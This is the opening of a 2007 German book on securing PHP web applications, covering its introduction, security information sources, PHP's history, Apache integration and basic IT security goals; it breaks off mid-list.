This content was uploaded by our users and we assume good faith they have the permission to share this book. If you own the copyright to this book and it is wrongfully on our website, we offer a simple DMCA procedure to remove your content from our site. Start by pressing the button below!
Sicherheit mit PHP, MySQL, Apache, JavaScript, AJAX Sichere Sessions und Uploads, Lösungen gegen SQL-Injection und Cross-Site Scripting Umgang mit sensitiven Daten, Verschlüsselung und Authentifizierung mit SSL
Sichere Webanwendungen mit PHP
Tobias Wassermann
Sichere Webanwendungen mit PHP
Bibliografische Information der Deutschen Nationalbibliothek Die Deutsche Nationalbibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie. Detaillierte bibliografische Daten sind im Internet über http://dnb.d-nb.de abrufbar. ISBN 978-3-8266-1754-6 1. Auflage 2007
Alle Rechte, auch die der Übersetzung, vorbehalten. Kein Teil des Werkes darf in irgendeiner Form (Druck, Fotokopie, Mikrofilm oder einem anderen Verfahren) ohne schriftliche Genehmigung des Verlages reproduziert oder unter Verwendung elektronischer Systeme verarbeitet, vervielfältigt oder verbreitet werden. Der Verlag übernimmt keine Gewähr für die Funktion einzelner Programme oder von Teilen derselben. Insbesondere übernimmt er keinerlei Haftung für eventuelle aus dem Gebrauch resultierende Folgeschäden. Die Wiedergabe von Gebrauchsnamen, Handelsnamen, Warenbezeichnungen usw. in diesem Werk berechtigt auch ohne besondere Kennzeichnung nicht zu der Annahme, dass solche Namen im Sinne der Warenzeichen- und Markenschutz-Gesetzgebung als frei zu betrachten wären und daher von jedermann benutzt werden dürften.
Lektorat: Sabine Schulz Fachkorrektorat: Michael Seeboerger-Weichselbaum Sprachkorrektorat: Manuel Jansen Satz: DREI-SATZ, Husby Druck und Bindung: Holzhausen Druck & Medien, Wien
Einleitung PHP ist inzwischen eine der am meisten verbreiteten Sprachen zur Entwicklung von dynamischen Webseiten, wobei sich PHP allerdings nicht nur auf Webanwendungen beschränkt, sondern universell einsetzbar ist. Allerdings war PHP von Anfang an nicht unbedingt auf Sicherheit bedacht – das Hauptaugenmerk lag eher auf der Einfachheit und Flexibilität. Mit der Verbreitung des Internets ist allerdings auch die Gefährdung gestiegen, die durch unsichere Programmierung entsteht. Wie diese Fehler erkannt und beseitigt werden, soll in diesem Buch ausführlich behandelt werden. Für weitere Informationen gibt es auch eine begleitende Webseite: http:// www.php-aber-sicher.de.
Zielgruppe Das Buch wendet sich natürlich an PHP-Entwickler – allerdings auch an Administratoren von Webservern. Dabei handelt es sich hierbei allerdings um kein Buch, das einen Einstieg in die Sprache PHP gibt – es wird ausschließlich die Sicherheit behandelt. Dennoch empfiehlt es sich nicht nur für Fortgeschrittene und Profis, sich hiermit zu beschäftigen: Einsteiger sollten dieses Buch parallel zu anderer Lektüre benutzen, um von Anfang an »auf der sicheren Seite« zu sein. Es ist wesentlich schwerer, schlechte Programmierangewohnheiten wieder loszuwerden, sobald man diese einmal verinnerlicht hat. Wesentlich unkomplizierter ist es, diese Fehler bereits präventiv zu verhindern. Für Webserver-Administratoren gibt es auch einige Hinweise zur Absicherung des Servers, z.B. welche Tücken in der php.ini umschifft werden können oder wie etwa eine Authentifizierung mittels SSL gewährleistet werden kann. Selbstverständlich finden Sie jeweils detaillierte Anleitungen, wie eine Aufgabe bewältigt werden kann – also wie etwa ein SSL-Zertifikat in den Webserver integriert wird. Allerdings konzentriert sich dieses Buch nicht nur auf PHP und den Apache-Webserver – es wird auch auf die beiden alternativen Webserver Roxen und den Internet Information Server von Microsoft eingegangen.
Einleitung
Natürlich dürfen Kapitel zu JavaScript in Zeiten von AJAX und ein detailliertes Datenbankkapitel, in dem Einzelheiten von MySQL, MS-SQL und PostgreSQL behandelt werden, ebenfalls nicht fehlen – nutzt man doch in Verbindung mit PHP vor allem Datenbanken und erweitert solche Webanwendungen durch Client-Code.
Sicherheit in Software? Softwaresicherheit war schon immer ein Stiefkind in der IT. Zu Beginn der PC-Entwicklung kam es eher auf Speicherersparnis an, danach ging es primär um Performancegewinnung. Schließlich galt eine Kombination dieser beiden Ziele als Optimum: Software sollte schnell und speicherschonend laufen. Die Sicherheit ist lange Zeit vernachlässigt wurden – dies betraf natürlich nicht nur lokale Anwendungen, wie etwa Office-Pakete, sondern später auch Webseiten. Diese Entwicklung kann man auch deutlich bei PHP verfolgen: Dort stand in den ersten Versionen keineswegs die Sicherheit im Vordergrund. Vielmehr ging es darum, eine Sprache zu schaffen, die relativ einfach zu erlernen ist, mit der flexibel Aufgaben der verschiedensten Art ausgeführt werden können und die zudem relativ fehlertolerant ist. In den Anfangszeiten des Internets war es schlichtweg undenkbar, dass es einmal Unternehmen geben wird, die ausschließlich mit dem Internet Gewinne erwirtschaften; vor diesem Hintergrund sollte der Aufwand für Webseiten natürlich möglichst gering gehalten werden. Eine Sprache wie PHP, die durchaus Fehler verzeiht, ist das ideale Werkzeug dafür. Die Vernachlässigung der Sicherheit hatte natürlich irgendwann ihre Folgen: Offen existierende Möglichkeiten wecken schlichtweg Begehrlichkeiten – hier unterscheiden sich Webseiten nicht von einem unverschlossenen Haus: Irgendwann wird jemand dahinterkommen und die Chance nutzen und in das Haus gelangen, um sich zu nehmen, was er brauchen kann. Bei Webseiten ist es ähnlich: Sind sie ungesichert, ist die Verlockung für einige einfach zu groß, an sensitive Daten wie etwa Adressen zu gelangen. Dabei kann allerdings der Begriff Sicherheit in Bezug auf Software auf verschiedene Weise definiert werden. Grundsätzlich gibt es drei Schlüsselbegriffe: Datenschutz, Datensicherheit und organisatorische Sicherheit, alle drei Konzepte werden im Kapitel 1 erklärt. Dieses Buch wird dabei vorrangig auf den Datenschutz abzielen, jedoch sind Überschneidungen etwa mit der organisatorischen Sicherheit – etwa wenn es um das Thema Dateizugriff geht – kaum zu vermeiden. Dieses Buch erhebt dabei keinesfalls den Anspruch, vollständig zu sein, oder bis zur allerletzten Konsequenz den totalen Schutz gewährleisten zu können. Gerade im Bereich Sicherheit in Bezug auf Webanwendungen ist ständig viel Bewegung im Spiel, Änderungen sollten von jedem Entwickler und Administrator verfolgt werden (mögliche Informationsquellen sind im Abschnitt Anlaufpunkte auf Seite 13
12
Anlaufpunkte
aufgeführt). Auch der totale Schutz wird nie gewährleistet sein. Sofern man auf aktuelle Techniken und Interaktion mit anderen Systemen setzt, ist dies auch kaum zu bewältigen. Wer jedoch von vornherein gar nichts für die Sicherheit unternimmt, der hat bereits verloren. Es ist auch nicht unbedingt notwendig, alle Techniken dieses Buches umzusetzen – einige davon sind nicht in jeder Umgebung sinnvoll. Man sollte jedoch die Tücken zumindest kennen, um das Risiko, das den eigenen Projekten droht, besser bewerten zu können.
Anlaufpunkte Sicherheit bedeutet Dynamik: Neue Versionen von Bibliotheken, Webservermodulen oder gar Betriebssystemteilen bedeuten meist eine Verbesserung der Sicherheit – doch es werden immer wieder neue Gefährdungen entdeckt. Deshalb sollte man sich stets aktuell informieren, wo der Hase im Pfeffer liegt. Hier ein paar Informationsquellen: 쐽
Die Mailingliste Full Disclosure Auf dieser Liste werden entdeckte Sicherheitslücken im Detail gepostet. Dabei enthalten sind neben einer genauen Beschreibung meist auch ein Proof-of-Concept-Block, in dem sich z.B. Quellcode findet, der darstellt, wie diese Lücke genutzt werden kann. Dies ist natürlich umstritten, jedoch zwingt es die jeweiligen Hersteller zum schnellen Handeln – würden die Lücken nur an den Hersteller gemeldet, könnte dieser sich Zeit lassen, nach dem Motto »Was der Hacker nicht weiß, macht ihn nicht heiß« verfahren und Gras über die Sache wachsen lassen. Wenn jedoch ein Anwender eine Lücke entdeckt, ist es zwangsläufig nur eine Frage der Zeit, bis es auch einem anderen Benutzer auffällt. Full Disclosure hat allerdings ein wesentliches Problem: Diese Liste ist unmoderiert. Das hat zwar den Vorteil, dass neue Meldungen ohne Latenzzeit auf die Liste gelangen, jedoch gibt es auch viele Meldungen und Streitereien, die schlichtweg überflüssig sind. Dennoch empfiehlt sich aufgrund der Brisanz eine Anmeldung. Melden Sie sich einfach unter http://lists.netsys.com zur Full-Disclosure-Liste an. Beachten Sie aber, dass es hier nicht nur um PHPund Webserver-Sicherheit geht, sondern alle Sicherheitslücken in Software auf dieser Liste gepostet werden.
쐽
BugTraq Hierbei handelt es sich um eine moderierte Mailingliste, bei der das Volumen um einiges geringer ist als bei Full Disclosure. Auf BugTraq findet man inzwischen fast nur noch Ankündigungen von Updates – tatsächliche Meldungen über bisher unbekannte Sicherheitslücken sind selten. Zur Anmeldung senden Sie einfach eine leere E-Mail an die Adresse [email protected].
13
Einleitung 쐽
Webappsec Ebenfalls eine Mailingliste von SecurityFocus, jedoch spezifischer auf Webapplikationen ausgerichtet. Zur Anmeldung genügt eine leere E-Mail an [email protected].
쐽
Secure Programming Diese Liste beschäftigt sich intensiv mit der sicheren Programmierung. Dabei geht es nicht nur – wie man vielleicht vermuten möchte – um C-Code, sondern auch um ASP.NET und PHP. Diese Liste beschränkt sich auf keine Programmiersprache, es geht vielmehr um Techniken zur Programmierung, die das Endprodukt – also die Software – sicherer machen sollen. Eine Anmeldung erfolgt hier mit einer leeren E-Mail an [email protected].
쐽
SecurityFocus Auf http://www.securityfocus.com finden sich viele weitere interessante Mailinglisten; dort gibt es z.B. Incidents – hier werden potenzielle Angriffe besprochen. Ein Blick auf die Liste der zur Verfügung stehenden Listen lohnt allemal. Zudem bietet diese Seite auch aktuelle Sicherheitsinformationen außerhalb von Mailinglisten, sollte also nach Möglichkeit zur regelmäßigen Lektüre gehören.
쐽
Open Web Application Security Project Dies ist ebenfalls eine Webseite, die sich intensiv mit der Sicherheit von Webanwendungen beschäftigt. Allerdings wird diese Seite von Ihren Mitgliedsunternehmen getragen – dadurch ist die Unabhängigkeit möglicherweise gefährdet. Die Adresse: http://www.owasp.org.
쐽
PHP Natürlich darf die PHP-Seite in einer solchen Auflistung nicht fehlen. Neben der stets aktuellen Dokumentation (http://www.php.net/docs.php) finden sich hier auch aktuelle Versionsankündigungen sowie eine Möglichkeit, Bugs zu melden und momentan vorhandene Bugs einzusehen (http:// bugs.php.net/). Interessant sind auch die Mailinglisten (http://www. php.net/mailing-lists.php) und die durchaus interessanten Projektseiten (http://www.php.net/sites.php).
Natürlich ist dies nicht alles: Auf jeden Fall im Blick haben sollte man auch die Seiten der verwendeten Webserver- und Datenbanksoftware sowie aller genutzten Module. Auf vielen Seiten gibt es inzwischen Announcement-Mailinglisten, bei denen man sich registrieren sollte, um über Versionsaktualisierungen immer aktuell informiert zu sein.
14
Danksagung
Allerdings nützen viele Anmeldungen nichts, wenn man die E-Mails der Listen nicht zumindest einmal überfliegt. Dies ist viel Arbeit und kostet viel Zeit, jedoch lohnt es sich.
Danksagung Ich möchte natürlich auch Dank sagen, denn es gibt einige Personen, ohne deren Unterstützung dieses Buch gar nicht oder zumindest nicht in dieser Form zustande gekommen wäre. An erster Stelle sei natürlich meiner Frau gedankt, die mich für dieses Projekt wohl öfter entbehren musste als für alle vorhergehenden und mich dennoch tatkräftig unterstützt hat. Dann sei meinen zwei Freunden Chris und Mark gedankt, die allerdings diesmal im Gegensatz zu meinen vorhergehenden Büchern »Postfix Ge-Packt« und »Versionsmanagement mit Subversion« (beide mitp) diesmal nicht als Beispielbenutzer herhalten mussten – ein durch das gesamte Buch führendes Beispiel war diesmal einfach zu komplex. Dennoch hat mir der tägliche Kontakt zu ihnen viel für dieses Buch gebracht: Durch sie konnte ich erfahren, mit welchem Verständnis an PHP herangegangen und wofür es benutzt wird. Zudem hat mich Chris erst auf das Thema für dieses Projekt gebracht, was ich im Nachhinein nicht bereue. Ein herzliches »Vergelt’s Gott« gilt dem Verlag – der trotz der unerwarteten Dauer dieses Buchs an dem Projekt festgehalten hat, besonders gedankt sei hier meiner Lektorin Sabine Schulz, die klasse Arbeit leistet. Eine ebenso unschätzbare Hilfe war mein Fachlektor Michael Seeboerger-Weichselbaum, der mir aufgezeigt hat, wann mehr Details notwendig waren und wann überflüssig; er hat somit maßgeblichen Anteil an der Qualität des Inhalts. Ohne Lektorin und Fachlektor würde dieses Buch wahrscheinlich eher chaotisch aufgebaut sein.
15
Kapitel 1
Sicherheit im Kontext von PHP und Webanwendungen In diesem Kapitel gibt es einen Rückblick auf PHP als Sprache für Webanwendungen – und warum PHP so unschlagbar oft in Verbindung mit webbasierten Applikationen verwendet wird. Schließlich gibt es noch einen Ausflug in die Welt der Sicherheitskonzepte.
1.1
Historie: PHP
Wäre PHP seit jeher konsequent mit Fokus auf Sicherheit entwickelt worden, wäre dieses Buch entweder nicht so umfangreich oder es würde schlichtweg nicht erscheinen. PHP wurde jedoch ursprünglich lediglich als einfacher Form-Interpreter entwickelt – er sollte lediglich HTML-Formulare auswerten. Erst mit der Zeit hat es sich ergeben, dass mehr daraus wurde. Doch selbst als PHP in C neu entwickelt wurde, war noch nicht absehbar, was aus dieser Sprache einmal werden würde – und vor allem konnte niemand ahnen, welche Sicherheitslücken und konzeptionellen Probleme sich mit der teilweise unkontrollierten Verbesserung des Interpreters ergeben würden. Weiterhin kann man feststellen: PHP stammt noch aus einer Zeit, zu der man in Bezug auf das Netz der Netze euphorisch war: Es gab diejenigen, die nichts damit anzufangen wussten, und diejenigen, die voller Hoffnung waren, was mit der globalen Vernetzung alles möglich sein wird. Keinesfalls kam jemand auf die Idee, dass es einmal – respektive heute – Menschen geben wird, die versuchen werden, Sicherheitslücken in Software auszunutzen um anderen wirtschaftlichen Schaden anzufügen. Hätte man das damals gewusst, so wäre die Entwicklung von PHP bestimmt eine andere gewesen: Entweder hätte es PHP nie gegeben, oder es wäre so restriktiv, dass es auf Dauer niemand verwenden würde. PHP stand einmal für »Personal Homepage Tools« und erschien am 8. Juni 1995, der damalige Entwickler war Rasmus Lerdorf. Seine Intention für die Entwicklung: Protokollierung der Zugriffe auf seinen Online-Lebenslauf. Er veröffentlichte danach noch PHP/FI (Forms Interpreter) Version 2.0 am 12. November 1997; danach gab es eine für damalige Verhältnisse interessante Wendung: Die Version 3.0 von PHP wurde nicht mehr von Rasmus Lerdorf sondern von Andi Gutmans und Zeev Suraski entwickelt.
Kapitel 1 Sicherheit im Kontext von PHP und Webanwendungen
Rasmus Lerdorf hat mit den beiden Entwicklern zusammengearbeitet, sogar der »Rewrite Call« kam ursprünglich von ihm. PHP/FI wurde somit offiziell eingestellt, PHP war der zukünftige Name, wobei auch die Bedeutung in ein Backronym verändert wurde: PHP: Hypertext Preprocessor. Die beiden neuen Entwickler handelten aus der Motivation heraus, eine Sprache zu schaffen, mit der es möglich ist, komplexe eCommerce-Anwendungen zu realisieren, die in der Folge natürlich hauptsächlich Daten dynamisch erzeugen sollten. Diese neue Version löste somit PHP/FI Version 2.0 ab, das eigentlich stets nur als Beta-Version existierte – PHP 3.0 erschien also am 6. Juni 1998, wobei es vorher eine neunmonatige öffentliche Testphase gab. Diese Version kann man als Durchbruch für die Verbreitung von PHP bezeichnen. Weiterhin kam hinzu, dass der Apache-Webserver immer größere Verbreitung fand (was auch daran lag, dass Microsoft die Entwicklung des Internets etwas »verschlafen« hatte, und somit kein weit verbreitetes Konkurrenzprodukt existierte). Die Synthese zwischen PHP und diesem Webserver wurde mit PHP 3.0 massiv vergrößert, wobei allerdings auch sichergestellt werden sollte, dass PHP 3.0 ebenfalls mit anderen Systemen oder ganz ohne Webserver-Software arbeiten kann. PHP 3.0 hatte allerdings keinen Funktionsumfang, der eine professionelle Nutzung rechtfertigen würde – zumindest aus heutiger Sicht, es war jedoch ein Grundstein, da es damals lediglich mit Perl ein vergleichbares System gab. PHP war und ist allerdings um einiges leichter zu erlernen; dies gilt besonders dann, wenn man bereits vorher Erfahrungen in den Programmiersprachen C und/oder Java gemacht hat, da die Syntax an diese beiden Sprachen angelehnt ist. Andi Gutmans und Zeev Suraski gründeten die Zend Technologies Ltd., die sich auch heute noch für die Entwicklung von PHP verantwortlich zeichnet, und starteten die Implementation der Zend Engine in Version 1; diese sollte später der Kern von PHP 4.0 werden. Mit dieser neuen Version wurde explizit die Sicherheit bei der Verwendung von globalen Variablen verbessert, es wurde auch ein SessionManagement eingeführt (das für Anwendungen, die Daten zwischen verschiedenen Aufrufen transportieren müssen, essentiell ist) und die Unterstützung für alternative Webserver wurde deutlich verbessert. Das Veröffentlichungsdatum von PHP 4.0 war der 22. Mai 2000. Doch die Entwicklung von PHP blieb natürlich nicht stehen, es ging weiter – auch wenn eine neue Version deutlich länger auf sich warten ließ, als man das von Version 3 und 4 gewohnt war. Am 13. Juli 2004 wurde PHP 5.0 freigegeben. Erstmals ist damit objektorientiertes programmieren möglich (Version 3 und 4 haben OOP nur sehr rudimentär unterstützt), auch wenn viele Funktionen von PHP selbst immer noch prozedural aufgerufen werden. Mit der Objektorientiertheit kam auch die Einführung von Exceptions, die die Fehlerbehandlung deutlich verbessern. Eine weitere wichtige Neuerung in Bezug auf das Web 2.0: DOM wurde objektorientiert realisiert, so ist es viel effizienter möglich, auf die Elemente eines DOM-
18
1.2 PHP heute
Baumes – wie er etwa bei der XML-Kommunikation mit einer AJAX-Client-Anwendung entsteht – zuzugreifen. Die neueste Version, die einen Meilenstein darstellt, erschien etwa anderthalb Jahre später (24. November 2005): PHP 5.1. Hier kam nun mit PDO eine Datenbankabstraktionsschicht hinzu, mit der es möglich ist, mit den gleichen Funktionsaufrufen auf verschiedene SQL-basierte Datenbanken zuzugreifen.
1.2
PHP heute
PHP wurde über die Jahre weiterentwickelt und entspricht heute einer Interpretersprache, die als typsicher klassifiziert werden kann.
Hinweis Typsicher gilt eine Sprache dann, wenn der Compiler bzw. Interpreter vor Verarbeitung einen Test daraufhin vornimmt, ob die gewünschte Aktion mit den übergebenen Variablentypen zulässig ist. Im Fall von PHP wird zusätzlich noch versucht, die Daten in einen passenden Typ zu konvertieren. Die Sprache an sich ist heute relativ mächtig; das liegt sowohl am vorhandenen Funktionsumfang als auch an der Möglichkeit, diese Funktionalität durch Module noch erweitern zu können. Beides – Komplexität und Modularität – tragen pragmatisch gesehen nicht sehr viel zur Sicherheit bei; auch war der Fokus bei PHP nicht auf ein extrem sicheres System gerichtet: Es sollte eine einfach erlernbare Sprache werden, die dennoch vielfältigste Aufgaben bei der Verarbeitung von Daten bewältigen kann. Diese Einfachheit hat vor allem beim Umgang mit Variablen seine Spuren hinterlassen, die es so in vielen anderen Programmiersprachen nicht gibt. Die Möglichkeit, recht lax mit Variablen und bereitgestellten Daten umzugehen, hat allerdings auch im Hinblick auf Teile des PHP-Clientels – Menschen, die erst mit PHP den Einstieg in die Programmierung geschafft haben – zu einer Menge Problemen geführt. So werden Variablen angesprochen, ohne vorher sicherzustellen, ob diese überhaupt existieren oder gar gültige Werte enthalten. Doch auch die universelle Einsetzbarkeit auf vielen verschiedenen Betriebssystemen hat zu teilweise starken Kompromissen bei der Sicherheit von beispielsweise temporären Dateien geführt. Diese Liste der Probleme, die durch das Konzept von PHP entstehen, eine Sprache zu schaffen, mit der es in kurzer Zeit möglich sein soll, komplexe eCommerce-Anwendungen zu erstellen, bedingt auf der anderen Seite Stolperfallen, die man umfahren muss, wenn man von der Sicherheit der Daten und der Applikation abhängig ist.
19
Kapitel 1 Sicherheit im Kontext von PHP und Webanwendungen
Und noch einmal: Auch wenn es so klingt, PHP ist keineswegs eine unsichere Sprache, die besser nicht verwendet werden sollte. Es handelt sich um ein System, mit dem viele komplexe Sachverhalte im Vergleich zu anderen Sprachen vergleichsweise einfach und dennoch effektiv abgebildet werden können. Diese übertriebene Negativbewertung von PHP auf diesen Seiten soll lediglich die Sensitivität für Softwaresicherheit besonders in Bezug auf Online-Applikationen erhöhen, denn dies ist das wichtigste um eine sichere Umgebung zu schaffen: Die Probleme müssen erkannt werden, bevor es möglich ist, sie zu beheben.
1.3
PHP und Apache
Schon seit PHP 3.0 gibt es eine starke Symbiose zwischen PHP und dem ApacheWebserver, der ebenfalls in seiner Umgebung eines der am meisten verbreiteten Systeme ist. Die Integration von PHP in Apache ist denkbar einfach, denn neben der PHP-Konsolenanwendung kann – sofern der Apache bzw. dessen Tool apxs vorhanden ist und beim Kompilierungsvorgang berücksichtigt wird – gleich das Apache-Module erstellt und in die Konfiguration des Webservers eingebunden werden. Weiterhin unterstützt der Apache nach dem Laden dieses Moduls auch einige neue Konfigurationsdirektiven, die Auswirkung auf die Funktionsweise von PHP haben und somit die PHP-seitige Konfiguration überschreiben. Diese sehr direkte Kopplung kann allerdings auch ziemliche Probleme bereiten: Ist PHP als Apache-Modul aktiviert, ist der jeweilige Apache-Prozess, auf dem gerade eine PHP-Datei verarbeitet wird, stark abhängig von der erfolgreichen Arbeitsweise des PHP-Interpreters. Kommt es in diesem Fall zu einem Fehler oder gar dem GAU – einem Deadlock – so wird der entsprechende Apache-Client-Prozess nicht mehr korrekt reagieren. Im harmloseren Fall wird der Prozess einfach serverseitig abgebrochen und der Benutzer erhält den HTTP-Fehler 500. Im wesentlich schlechteren Fall – etwa wenn ein Deadlock auftritt – wird der Apache-Prozess nicht mehr reagieren; der Client erhält irgendwann ein Verbindungs-Timeout, danach wird der Apache-Prozess zwar weiterhin auf dem Server laufen und nicht mehr verwendbar sein, aber er wird wahrscheinlich nur etwas Arbeitsspeicher verbrauchen (es gibt auch hier Ausnahmen: kritisch wird es, wenn der Prozess auch noch Rechenzeit verbraucht). Allerdings kann es in seltenen Fällen auch zu einer gewissen Dramatik kommen: So ein hängender Prozess kann einen Server so in Mitleidenschaft ziehen, dass ein Abbrechen nicht mehr möglich und eventuell ein harter Reboot (hart bedeutet Power off!) notwendig ist. Es gibt ein Szenario, bei dem dieser Fall definitiv und relativ einfach reproduzierbar auftritt: Beim Lesen von großen Dateien, beachten sie hierzu auch unbedingt Kapitel 8 Dateisystemzugriffe. Dies waren die Nachteile der starken Kopplung von Apache und PHP – jedoch kann man das ganze auch in das Gegenteil verkehren: Durch eine gut durchdachte Kom-
20
1.4 PHP als eigenständige Anwendung
bination der Konfigurationen beider Systeme ist schon einmal ein gutes Stück Arbeit auf dem Weg zum sicheren System geschafft. Zudem kann man einen zusätzlichen Puffer schaffen und so die direkte Abhängigkeit des Webservers von der Ausführung des PHP-Interpreters aufheben, indem man PHP nicht direkt als Apache-Modul lädt, sondern die Ausführung etwa als CGI oder mittels suExec und ähnlichen Modulen ermöglicht. Wenn Sie sich dafür interessieren, so wird sicherlich Kapitel 11 das Richtige für Sie sein.
1.4
PHP als eigenständige Anwendung
Es ist wie bei anderen Interpretersprachen auch bei PHP möglich, den Interpreter standalone zu betreiben. Dies ermöglicht es, PHP-Skripte losgelöst von einem Webserver zu betreiben. Grundsätzlich sollte klar sein: PHP selbst erzeugt als Ausgabe lediglich Bytes, ob es sich dabei nun um reinen Text, HTML-Quelltext oder gar ein PDF-Dokument handelt, ist für PHP selbst erst einmal uninteressant – es macht lediglich das, was der Programmierer vorgibt. PHP als alleinigen Interpreter zu verwenden, hat mehrere Makel und sollte wohlüberlegt sein. Zum Einen können natürlich alle Funktionen, die direkt auf eine HTTP-Verbindung abzielen, möglicherweise nicht benutzt werden. Dies trifft immer dann zu, wenn PHP wirklich eigenständig betrieben wird (und nicht etwa lediglich als CGI von Apache oder einem anderen Webserver aufgerufen wird). Selbstverständlich sind diese Funktionen aufrufbar, doch solange der Prozess, der aktuell PHP aufruft (also etwa die Kommandozeile), nicht damit umgehen kann, wird entsprechend die Ausgabe zum Teil unübersichtlich oder gar unnütz. Und die Probleme können noch weitergehen: Schutzmechanismen, die etwa über den Webserver aktiviert werden können, stehen bei einem direkten Aufruf meist nicht zur Verfügung. Wird PHP mit einem Webserver betrieben, kann etwa bereits mit dem Modul mod_rewrite verhindert werden, dass bestimmte Clients auf PHP-Skripte zugreifen, und es kann mittels der durch den Server bereitgestellten Authentifikation der Benutzerkreis eingegrenzt werden (diese Authentifizierung ist in jedem Fall sicherer als eine selbst implementierte Login-Funktionalität). Zum Anderen ist ein selbstständiger Betrieb von PHP aus sicherheitstechnischer Sicht durchaus etwas, was man, vor allem wenn man auf externe Tools oder Module, Klassen und Bibliotheken aus unsicheren Quellen angewiesen ist, in Betracht ziehen sollte, um einen eventuellen Schaden am System weiter zu begrenzen. Läuft diese Anwendung auf einem niedrig privilegierten Benutzer, so sind zumindest auf einem Linux-System die möglichen Schäden begrenzt (dies gilt auch für Windows-Systeme, doch wird dort leider von benutzerbasierten Zugriffsrechten selten Gebrauch gemacht). Stürzt PHP ab, wird es so auch wahrscheinlich keine anderen Prozesse in Mitleidenschaft ziehen, außer es wird beispielsweise eine rechenintensive Endlosschleife o.Ä. initiiert, die das System so stark auslasten, dass andere Prozesse nicht mehr zeitnah arbeiten können.
21
Kapitel 1 Sicherheit im Kontext von PHP und Webanwendungen
Und natürlich erweitert sich das Einsatzgebiet von PHP auch deutlich, wenn es ohne Webserver verwendet wird, da Skripte dann im Dauerbetrieb gestartet werden können und so beispielsweise eine Netzwerkserveranwendung realisierbar ist, die darauf wartet, dass sich Clients verbinden und Daten anfordern. Dieses Feature wird vor allem in Kapitel 12 beschrieben.
1.5
PHP mit alternativen Webservern
Mit anderen Webserversystemen (etwa dem Microsoft Internet Information Server oder dem Roxen Webserver) kann PHP entweder als CGI-Modul oder als SAPIModul betrieben werden. SAPI steht dabei für Server Application Programming Interface, es handelt sich also um eine festdefinierte Schnittstelle, über die PHP-Daten vom Webserver bereitgestellt werden und über die PHP selbst auch wieder Daten an den Server zurückliefern kann. Auch hier gilt wie bei der Symbiose zwischen Apache und PHP: SAPI ist eindeutig schneller als CGI, jedoch sollte die Konfiguration des Webservers genutzt werden, um gravierendere Angriffe auf das System zu vereiteln.
1.6
Sicherheitskonzepte für Webanwendungen
Schon immer gab es Versuche, in Datenverarbeitungsanlagen gewaltsam einzudringen und entweder an empfindliche Daten zu gelangen oder das System zu stören, so dass der Betreiber dieses mit hohem Aufwand wiederherstellen muss (und dabei eventuell auch Daten verliert). Bei komplexen Systemen, die Webserver zweifellos sind, ist es allerdings nicht ausreichend, lediglich die Webanwendungen selbst sowie die Software des Webservers abzusichern. Einem Angreifer, der über einen anderen Weg in das System gelangt, würde es dann auf jeden Fall möglich sein, entsprechende Aktionen durchzuführen, die die Bereitstellung der Webanwendung beeinträchtigen. Das Sichern der verwendeten PHP-Skripte sollte also nur ein Bestandteil eines Sicherheitskonzeptes sein. Hinzu kommt die restriktive Konfiguration des Webservers und des PHP-Moduls. Zudem sollte jeder Rechner, der Daten nach außen bereitstellt, durch eine Firewall abgesichert werden. Hier ist eine Hardware-Firewall vorzuziehen – doch eine softwarebasierte Version ist in jedem Fall immer noch besser, als ganz auf einen Schutz zu verzichten. Es ist wichtig, eine Absicherung der Webanwendungen nicht als Aufgabe zu sehen, die schnell nebenbei erledigt werden kann. Wichtig ist hier die Anwendung eines Sicherheitskonzeptes; dies umfasst dann nicht nur die zu schützende Software bzw. die sensitiven Daten (egal, ob es sich nun um den Quelltext der Applikation
22
1.6 Sicherheitskonzepte für Webanwendungen
selbst oder um damit gewonnene kritische Daten, wie etwa personenbezogene Daten von Kunden, handelt), sondern das System, auf dem eine Webanwendung betrieben werden soll, als Ganzes. Je nach Umgebung und Wichtigkeit kann das »Ganze« somit sowohl lediglich für den einzelnen Server als auch für das gesamte Netzwerk stehen.
Hinweis Auf den folgenden Seiten wird das Thema IT-Sicherheit lediglich angerissen; mehr ist im Rahmen dieses Buches auch nicht möglich, denn schließlich liegt der Fokus auf den möglichen Sicherheitslücken in Webanwendungen und direkt betroffener Software und nicht in Grundsatztheorien über sichere Systeme. Falls Sie sich bisher nie mit diesem Thema beschäftigt haben, ist weitergehende Lektüre auf jeden Fall sinnvoll. Jedes Sicherheitskonzept sollte die grundlegenden Ziele der IT-Sicherheit verfolgen. Haben Sie ein Konzept für Ihre Umgebung entwickelt (es gibt hierbei keine pauschale immer gleich effektive Lösung – Sicherheit ist individuell!), können Sie grundsätzlich feststellen, ob dieses Konzept allen Erfordernissen gerecht wird, indem Sie es bezüglich der folgenden Ziele prüfen; diese sollten stets erfüllt werden: 쐽
쐽
쐽
Datenschutz 쐽
Vertraulichkeit: Daten dürfen nur von autorisierten Anwendern einsehbar sein.
쐽
Übertragungssicherheit: Lediglich der Anwender und das System sollen die Daten während der Übertragung auslesen. Die Einsicht online durch Dritte muss unterbunden werden.
쐽
Privatsphäre: Persönliche Daten und die Anonymität müssen gewährleistet sein. Wichtig ist hier auch das Recht auf informationelle Selbstbestimmung.
쐽
Datenschutzgesetze: Die Datenschutzgesetze müssen eingehalten werden.
Datensicherheit 쐽
Deterministik: Hard- und Software sollten so funktionieren, wie es erwartet wird. Das Resultat sollte dabei immer dem gewünschten Ergebnis entsprechen.
쐽
Integrität: Software und Daten dürfen nicht unbemerkt verändert werden können.
쐽
Authentizität: Die Echtheit von Daten muss überprüfbar sein.
Organisatorische Sicherheit 쐽
Verbindlichkeit: Es sollte für jeden Anwender offensichtlich sein, zu welchem Ergebnis eine bestimmte Aktion führt. Dabei sollte die gleiche Aktion stets zum selben Resultat führen (vgl. auch Deterministik).
23
Kapitel 1 Sicherheit im Kontext von PHP und Webanwendungen 쐽
Beweisfestigkeit: Alle Übertragungen müssen so dokumentiert und gegebenenfalls vom Anwender bestätigt werden, dass sie auch im Falle eines Rechtsstreites Gültigkeit besitzen und ein Vorgang jeweils einwandfrei nachgewiesen werden kann.
쐽
Zugriffssteuerung: Der Zugriff muss reglementiert sein; hierbei gibt es allerdings eine deutliche Abgrenzung zum Punkt »Vertraulichkeit«. Bei der Vertraulichkeit geht es lediglich darum, dass Daten nur von berechtigten Benutzern gelesen und/oder verändert werden können. Bei der Zugriffssteuerung geht es zudem darum, dass Benutzer, die diese Daten nicht verwenden können, auch keinen Zugriff darauf haben – also dass es etwa für Internetbenutzer nicht ersichtlich ist, dass diese Daten überhaupt existieren.
쐽
